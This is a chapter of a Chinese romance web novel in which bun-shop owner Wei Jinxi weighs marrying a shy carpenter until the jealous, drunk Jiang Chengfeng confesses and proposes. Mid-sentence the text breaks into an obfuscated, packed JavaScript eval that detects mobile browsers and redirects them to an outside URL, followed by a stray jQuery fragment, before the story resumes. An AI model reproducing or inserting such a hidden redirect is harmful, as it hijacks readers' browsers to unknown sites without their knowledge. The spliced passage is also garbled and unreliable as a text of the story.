最近,魏锦溪在考虑自己的终身大事,看上了个在附近做工的小木匠。
之所以想着嫁人,一是因为她今年也已十六,再不说亲就怕成了个大姑娘。再者就是,之前江家的三少爷和那个谢家的公子哥跑过来大闹了一场,虽说后面江乘风过来帮她解了围,但是也叫她生出点心有余悸来。
说到底,她只是一个弱女子,虽然凭着一股泼辣劲一时间没人敢惹,但自己一个人撑着铺子门面到底不是个事。而且,她还是想自己扛起门户,因为总不能长久的依仗着人家江乘风!
正所谓,女大须嫁男大须婚,因此魏锦溪便开始考虑起自己的婚事。
只是嫁给谁呢,这成了个问题。思来想去,江乘风的脸自动就从脑海中浮现了出来。
魏锦溪赶忙摇了摇头将他晃了出去。
要说江乘风,人确实无可指摘。长得英俊周正,个头也高,性子更是没得挑。相处这么些天,从没见他对自己说过一句重话。虽然家里头有几个鬼心眼的亲戚,但这年头谁家没有个弯弯绕呢。
总总体体看下来,江乘风算是说亲里面一等一的男儿郎。
但坏就坏在他样样都好上,反倒让魏锦溪退避三舍。一个是镖局的大少爷,一个是从北边过来讨生活的孤女。两个人站一块,总归是门不当户不对。即便江乘风曾说过想要娶她,可他的父母,他的爷爷、江家的老太爷能乐意?
所以说这人呐,犯不着自找委屈!
可是排除掉江乘风,魏锦溪也犯了难。要找个能顶事的,还要身体好的,最好家里清净些。
这些条件一件件的掰着手指头数一数,哎,你说可巧,她就将目光盯上了来上门修桌椅板凳的小木匠。
小木匠姓邱,名长远,今年二十岁整,靠着祖传的手艺在码头靠北的街巷处开了个家铺子。魏锦溪打听过了,他家父母前年便已亡故,他呢给爹娘守了一年多孝,一直不曾说亲,如今正考虑婚嫁。
先前魏锦溪的包子铺里头桌椅板凳被砸坏了不少,她舍不得扔了买新的,所以就请邱木匠上门修缮,一来二去的就认识了。
这是个有些腼腆的人,话说不了几句耳朵就要红。每日过了晌午忙点的时候来,傍晚做工结束了走。
念着他和自己一样都是个没爹妈的人,魏锦溪难免心里生出点怜爱来,偶尔到跟前去送个茶,递个帕子什么的。
不过人家也只是看着怕生,她问什么倒也说什么,客客气气的手上锯木头的动作也没见停,可见手劲挺大。
这么一看,魏锦溪对他就更满意了,甚至设想起成婚后的日子。
自己这个宅子门面足有三间,包子铺占用两间也够。等将来成了婚,就把另一间单独开辟出来,挂上个牌子便是一间木匠铺。另外她手上还有余下的银子,先前因为生意不知好不好做,所以没拿出去买田置地。若是成了亲,不,等他下了订,自己就去郊外先置办上十亩良田,到时每年收租,就不用天天去粮行买米买面。
打定了主意后,魏锦溪就对他更亲切了。
这天傍晚,邱长远将最后几个长凳修好,擦了擦头上的汗后请她过来检查。魏锦溪简单看了看上手晃了晃,发现修的挺好,都很牢靠,便将说好的修缮钱给他。
邱长远半红着脸接过了钱,轻声道了句谢。
魏锦溪看他脸色脏脏的,汗水上头还沾了木屑就请他去后院洗把脸。邱长远推辞不过便来到了后院。
魏锦溪从水缸里往木盆里舀了水,又拿了棉布帕子给他。接着去井边上,将水镇过的葡萄拿出来。
日子迈入七月,院子角上的葡萄陆陆续续由青变紫。魏锦溪尝过,酸酸甜甜的味道不错。她自己也吃不完,就摘几串下来送给胡有为他们,算是给老主顾的一点小利。剩下几串还泛着青的留着,什么时候熟透了就拿来当零嘴。如今已是七月过半,这架子上挂着的已经没几串了。
邱长远到了后院不敢四处打量,快速洗了脸擦了擦就要告辞。
已到傍晚,魏锦溪也没打算留他,将水灵灵的葡萄放进白瓷盘子里送到他面前道:“这几天多谢你来忙活,天又热,回回满头的汗。这葡萄是上户人家留下来的,我尝过味道不错,你别嫌弃。”
邱长远连连摆手:“修东西这是我本分的事,不好再多要你的东西。”
“这有什么。”魏锦溪干脆将盘子塞到他的手上,“不过两串葡萄的事。”接着开了后院的门道:“天也要黑了,我就不留你了。”
邱长远端着盘子,里头葡萄紫紫绿绿的煞是喜人。他出了门,又回过头来,好似下了很大的力气半红着耳朵说道:“锦姑娘,盘子我再来还你。”
魏锦溪打的就是这个主意。有个由头才好再见面说话呢,笑着点头答应。结果才送走邱长远没多久,一扭脸就看到巷口边上站着的江乘风了。她的眼眸缩了缩,没由来的感到心虚气短。
后院里,江乘风坐在葡萄架旁的凳子上,身上传来阵阵酒气。魏锦溪这里没什么好招待的,照旧拿着剪刀剪了一串葡萄下来洗净了供他解酒。
江乘风看着桌上的那串葡萄心理就泛酸,低声问:“刚刚那人是谁?”
魏锦溪顿了顿,没敢去看江乘风的眼睛,干笑了两声回答:“北街的木匠,来我这修桌子椅子的。”
“哦。”江乘风伸手摘了一颗葡萄,但没吃,拿在手上揉了揉,把青紫的皮揉的皱皱的,“葡萄什么时候熟的?”
这话颇有些没头没脑。不过魏锦溪还是照实话讲:“入了七月慢慢就紫了。这几天熟的更多,陆陆续续摘了好多串下来。”
江乘风不做声了,闷了一会道:“我也喜欢吃葡萄。”话语里带着几分可怜兮兮的劲。
坏了,这是找到由头兴师问罪了。
魏锦溪赶忙往回找补,“主要白日里忙,我也不好为了几串葡萄去找你。托码头的胡大哥给你送吧,又觉得东西小,没得让人笑话。”
“是了,还有个胡有为。”江乘风直直的盯着她,自问自答似的说:“他也收到你给的葡萄了是不是?”
魏锦溪:......
这事是没办法善了。不过老祖宗的话说的对,有错就要认错。她放低了姿态轻声讨饶道:“事情,是我做的不地道,不知道你喜欢吃这个。架子上还有几串,一会我全摘下来让你拿回去,成不成?”
别一副看白眼狼的郁闷样子啊,她是真的很心虚。
江乘风还想说什么,但这个时候后院的门却突然响了。魏锦溪赶忙高声问道:“谁啊。”不一会门外传来邱长远的声音:“锦姑娘,是我。”
哎?他人怎么又回来了?
魏锦溪麻利的跑过去开了门,便看到邱长远站在外头,脸上挂着汗像是跑过来的,手上拿着的是她刚刚送过去的瓷盘子。
“我来还你这个。”邱长远道。
魏锦溪接了过来,就看对方抿了抿唇,又从怀里掏出一方帕子来,“这是我买的帕子,不知道......”话还没说完,脸上的红色退了个干干净净。
“不知道什么?”魏锦溪身后,江乘风突然露出一张脸突兀的开口说道。
魏锦溪诧异的转过头:!!!
邱长远看了看魏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601654|170062||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
锦溪又看了看江乘风,低下头颓然的将帕子收了回去,“没什么。抱歉,打扰你们了。”说着踉踉跄跄的走了。
魏锦溪很想拦住他解释两句,但事情太突然又不知道该怎么说,只能眼睁睁的看着他离开的背影。
江乘风心里又开始冒酸泡了,“还看,人都快走没影了。”
魏锦溪气闷不已,关上门气冲冲的回到葡萄架旁坐下,埋怨他道:“你说你跟过来干嘛?吓我一跳不说,还!”
“还怎么样?”江乘风紧紧盯着她问。
魏锦溪看着他无奈的叹了一口气,“你啊你啊!罢了,明天我找他解释去。”
“解释什么?”江乘风垂下眼,轻声笑了下,“刚刚他要送你手帕呢。怎么你明天去接他的帕子吗?”
这话充满了忧郁怨怼,好像戏文里演的深闺妇人,听着煞是别扭。魏锦溪抿了抿唇,没怎么回话。
又过了一会,江乘风突然说道:“我爹娘要给我说亲。”
话音落下,魏锦溪猛然抬起头来,不过很快又扭过脸,故作轻松的说:“说亲啊,好事,哪家的姑娘?”接着跟不服输似的道:“其实我最近也在考虑着嫁人呢!”
“嫁给谁,那个木匠?”江乘风的脸色一下子变得锋利起来,拧着眉头沉声问道:“你真要接他的帕子?”
魏锦溪不喜欢他这样咄咄逼人的问法,脸一横赌气道:“你管我呢!”
江乘风怔怔的看着她,突然间又笑了起来,又酸又苦,“在你眼里,我哪一点比不上那个木匠?他就这么好,要你专门给他送葡萄,要你亲自去澄清我们的关系?”话越说越重,声音也越来越沉。
魏锦溪赶忙打断了他的话低声道:“你喝醉了,该回家了。”说着站起身来要走。
江乘风也跟着站了起来,酒意和酸意在心里纠成一团,活像个炮仗,干脆趁着这个机会全爆发了出来。伸手拉着魏锦溪的胳膊三两下的将人拽进了自己怀里,拦腰抱住。
魏锦溪一惊,弹跳着起来,却被他死死的压着,顿时沉着声音呵斥他道:“江乘风,你松开!你,你疯了?!”
“不准你嫁给他!”江乘风蛮横的说道。
魏锦溪呵笑了一声反唇相讥,“你自己在外相看不说,还要来管我,现在又威胁着不许我定亲,凭什么?”
江乘风急切的说:“我要娶的人是你!”
魏锦溪被他这话一下镇住,猛然间不知道该作何反应。
江乘风伸手拂过她的脸颊,轻柔的望着她,眼中彷佛盛满了月色,手停在嘴角处细细摩挲。“我们已经有了肌肤之亲,不准你嫁给他。”接着放缓了声音柔声询问,“不要嫁给他好不好?”
魏锦溪的心扑通扑通乱跳,喉咙干涸,低声道:“你......”
下一秒,江乘风的唇印了下来,将她的话全都吞了下去,良久后抵着头说道:“我想娶的人是你,等我带人来下聘好吗?”
魏锦溪想说,你家里人不见得同意,可是看着他这个样子,却又说不出任何拒绝的话来,好像自己也被他身上的酒气给熏醉了。
“我权当你答应了。”江乘风看着魏锦溪微红的脸颊没忍住又亲了亲她的嘴角,满是笑意的说:“我这就去跟父母讲!”说着将她抱起来放在桌子上,自己风一样的跑了出去。
魏锦溪脸上的红晕长久散不下去,摸了摸上头还带着热气,将手放下便摸到了旁边冰凉的碟子。
得,她干脆捧着盘子吃起了葡萄。
咬着牙恶狠狠的嚼着葡萄籽,心想:江乘风,要是你说话不算话,那你可就死定了!